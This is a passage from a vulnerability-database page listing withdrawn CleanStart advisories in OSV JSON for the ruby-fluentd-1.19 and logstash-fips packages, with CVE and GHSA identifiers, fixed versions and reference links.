"summary": "Security fix for ghsa-h8w8-99g7-qmvj applied in: logstash-fips 9.4.3-r1, ruby-fluentd-1.18 1.18.0-r4, ruby-fluentd-1.19 1.19.2-r3",
"upstream": [
"ghsa-h8w8-99g7-qmvj"
]
}
CLEANSTART-2026-UT74115 (CVE-2026-33637)
Vulnerability from cleanstart – Published: 2026-07-21 08:19 – Updated: 2026-09-18 11:59 – Source websiteMultiple security vulnerabilities affect the ruby-fluentd-1.19 package. These issues are resolved in later releases. See references for individual vulnerability details.
| URL | Type | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
{
"affected": [
{
"package": {
"ecosystem": "CleanStart",
"name": "ruby-fluentd-1.19"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.19.2-r4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"credits": [],
"database_specific": {},
"details": "Multiple security vulnerabilities affect the ruby-fluentd-1.19 package. These issues are resolved in later releases. See references for individual vulnerability details.",
"id": "CLEANSTART-2026-UT74115",
"modified": "2026-09-18T11:59:01.768079Z",
"published": "2026-07-21T08:19:01.995115Z",
"references": [
{
"type": "ADVISORY",
"url": "https://github.com/cleanstart-dev/cleanstart-security-advisories/tree/main/advisories/2026/CLEANSTART-2026-UT74115.json"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-33637"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-41316"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-42245"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-42246"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-42256"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-42257"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-42258"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-54171"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-54297"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-54696"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-54904"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-54905"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-54906"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-5rv5-xj5j-3484"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-6wx8-w4f5-wwcr"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-75xq-5h9v-w6px"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-87pf-fpwv-p7m7"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-98m9-hrrm-r99r"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-h8w8-99g7-qmvj"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-hm49-wcqc-g2xg"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-q2mw-fvj9-vvcw"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-vcgp-9326-pqcp"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-wv3x-4vxv-whpp"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33637"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41316"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42245"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42246"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42256"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42257"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42258"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54171"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54297"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54696"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54904"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54905"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54906"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes for CVE-2026-33637, CVE-2026-41316, CVE-2026-42245, CVE-2026-42246, CVE-2026-42256, CVE-2026-42257, CVE-2026-42258, CVE-2026-54171, CVE-2026-54297, CVE-2026-54696, CVE-2026-54904, CVE-2026-54905, CVE-2026-54906, ghsa-5rv5-xj5j-3484, ghsa-6wx8-w4f5-wwcr, ghsa-75xq-5h9v-w6px, ghsa-87pf-fpwv-p7m7, ghsa-98m9-hrrm-r99r, ghsa-h8w8-99g7-qmvj, ghsa-hm49-wcqc-g2xg, ghsa-q2mw-fvj9-vvcw, ghsa-vcgp-9326-pqcp, ghsa-wv3x-4vxv-whpp applied in versions: 1.19.2-r2, 1.19.2-r3, 1.19.2-r4",
"upstream": [
"CVE-2026-33637",
"CVE-2026-41316",
"CVE-2026-42245",
"CVE-2026-42246",
"CVE-2026-42256",
"CVE-2026-42257",
"CVE-2026-42258",
"CVE-2026-54171",
"CVE-2026-54297",
"CVE-2026-54696",
"CVE-2026-54904",
"CVE-2026-54905",
"CVE-2026-54906",
"ghsa-5rv5-xj5j-3484",
"ghsa-6wx8-w4f5-wwcr",
"ghsa-75xq-5h9v-w6px",
"ghsa-87pf-fpwv-p7m7",
"ghsa-98m9-hrrm-r99r",
"ghsa-h8w8-99g7-qmvj",
"ghsa-hm49-wcqc-g2xg",
"ghsa-q2mw-fvj9-vvcw",
"ghsa-vcgp-9326-pqcp",
"ghsa-wv3x-4vxv-whpp"
],
"withdrawn": "2026-09-18T11:59:01.768079Z"
}
CLEANSTART-2026-VR87787 (CVE-2026-55831)
Vulnerability from cleanstart – Published: 2026-08-13 12:10 – Updated: 2026-09-18 11:59 – Source websitePackage logstash-fips version 9.4.3-r1 fixes 76 vulnerabilities: CVE-2026-55831, CVE-2026-55833, CVE-2026-56745, CVE-2026-50020, CVE-2026-56746...
| URL | Type | |
|---|---|---|
{
"affected": [
{
"package": {
"ecosystem": "CleanStart",
"name": "logstash-fips"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "9.4.3-r1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"9.4.3-r1"
]
}
],
"credits": [],
"database_specific": {},
"details": "Package logstash-fips version 9.4.3-r1 fixes 76 vulnerabilities: CVE-2026-55831, CVE-2026-55833, CVE-2026-56745, CVE-2026-50020, CVE-2026-56746...",
"id": "CLEANSTART-2026-VR87787",
"modified": "2026-09-18T11:59:01.768079Z",
"published": "2026-08-13T12:10:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/elastic/logstash"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes in logstash-fips 9.4.3-r1",
"upstream": [
"CVE-2026-55831",
"CVE-2026-55833",
"CVE-2026-56745",
"CVE-2026-50020",
"CVE-2026-56746",
"CVE-2026-59898",
"CVE-2026-59899",
"CVE-2026-59921",
"ghsa-jppx-w49h-x2qq",
"ghsa-6jqx-86gh-f27w",
"ghsa-mvh2-crg5-v77c",
"ghsa-6cqp-g7gg-8hr5",
"ghsa-4mp9-239f-g9hg",
"ghsa-gcjf-9mgh-3p7g",
"ghsa-q4f6-jm68-57ww",
"ghsa-hvcg-qmg6-jm4c",
"CVE-2026-59901",
"ghsa-558v-64gr-wgg4",
"CVE-2026-54512",
"CVE-2026-54513",
"CVE-2026-54514",
"CVE-2026-54515",
"CVE-2026-59888",
"CVE-2026-54516",
"CVE-2026-54517",
"CVE-2026-54518",
"CVE-2026-59889",
"ghsa-5gvw-p9qm-jgwh",
"ghsa-5hh8-q8hv-fr38",
"ghsa-rcqc-6cw3-h962",
"ghsa-9fxm-vc8v-hj55",
"ghsa-mhm7-754m-9p8w",
"ghsa-j3rv-43j4-c7qm",
"ghsa-rmj7-2vxq-3g9f",
"ghsa-5jmj-h7xm-6q6v",
"ghsa-3pjw-73gf-8qr5",
"ghsa-hgj6-7826-r7m5",
"CVE-2025-14813",
"CVE-2026-0636",
"CVE-2026-5598",
"ghsa-574f-3g2m-x479",
"ghsa-p93r-85wp-75v3",
"ghsa-c3fc-8qff-9hwx",
"CVE-2026-5588",
"ghsa-wg6q-6289-32hp",
"ghsa-r7wm-3cxj-wff9",
"ghsa-72hv-8253-57qq",
"CVE-2026-59949",
"ghsa-xx22-p4ch-683r",
"CVE-2026-47240",
"CVE-2026-47242",
"CVE-2026-47241",
"ghsa-8p34-64r3-mwg8",
"ghsa-46q3-7gv7-qmgg",
"ghsa-c4fp-cxrr-mj66",
"CVE-2026-47736",
"CVE-2026-47737",
"ghsa-qpgp-93vx-g8v8",
"ghsa-2vqw-3mp8-cgmx",
"CVE-2026-54906",
"CVE-2026-54904",
"CVE-2026-54905",
"ghsa-h8w8-99g7-qmvj",
"ghsa-6wx8-w4f5-wwcr",
"ghsa-wv3x-4vxv-whpp",
"CVE-2026-54696",
"ghsa-x2f5-4prf-w687",
"ghsa-5prr-v3j2-97mh",
"ghsa-5v8h-3h3q-446p",
"ghsa-8678-w3jw-xfc2",
"ghsa-9cv2-cfxc-v4v2",
"ghsa-p67v-3w7g-wjg7",
"ghsa-phwj-rprq-35pp",
"ghsa-wfpw-mmfh-qq69",
"ghsa-wjv4-x9w8-wm3h",
"ghsa-g9g8-vgvw-g3vf"
],
"withdrawn": "2026-09-18T11:59:01.768079Z"
}
CLEANSTART-2026-ZB89546 (GHSA-H8W8-99G7-QMVJ)
Vulnerability from cleanstart – Published: 2026-07-30 07:10 – Updated: 2026-09-18 11:59 – Source websitePackage ruby-fluentd-1.19 version 1.19.2-r3 fixes 9 vulnerabilities: ghsa-h8w8-99g7-qmvj, ghsa-6wx8-w4f5-wwcr, ghsa-wv3x-4vxv-whpp, CVE-2026-54904, CVE-2026-54905...
| URL | Type | |
|---|---|---|
{
"affected": [
{
"package": {
"ecosystem": "CleanStart",
"name": "ruby-fluentd-1.19"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.19.2-r3"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"1.19.2-r3"
]
}
],
"credits": [],
"database_specific": {},
"details": "Package ruby-fluentd-1.19 version 1.19.2-r3 fixes 9 vulnerabilities: ghsa-h8w8-99g7-qmvj, ghsa-6wx8-w4f5-wwcr, ghsa-wv3x-4vxv-whpp, CVE-2026-54904, CVE-2026-54905...",
"id": "CLEANSTART-2026-ZB89546",
"modified": "2026-09-18T11:59:01.768079Z",
"published": "2026-07-30T07:10:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/fluent/fluentd"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes in ruby-fluentd-1.19 1.19.2-r3",
"upstream": [
"ghsa-h8w8-99g7-qmvj",
"ghsa-6wx8-w4f5-wwcr",
"ghsa-wv3x-4vxv-whpp",
"CVE-2026-54904",
"CVE-2026-54905",
"CVE-2026-54906",
"ghsa-98m9-hrrm-r99r",
"CVE-2026-54297",
"CVE-2026-54171"
],
"withdrawn": "2026-09-18T11:59:01.768079Z"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.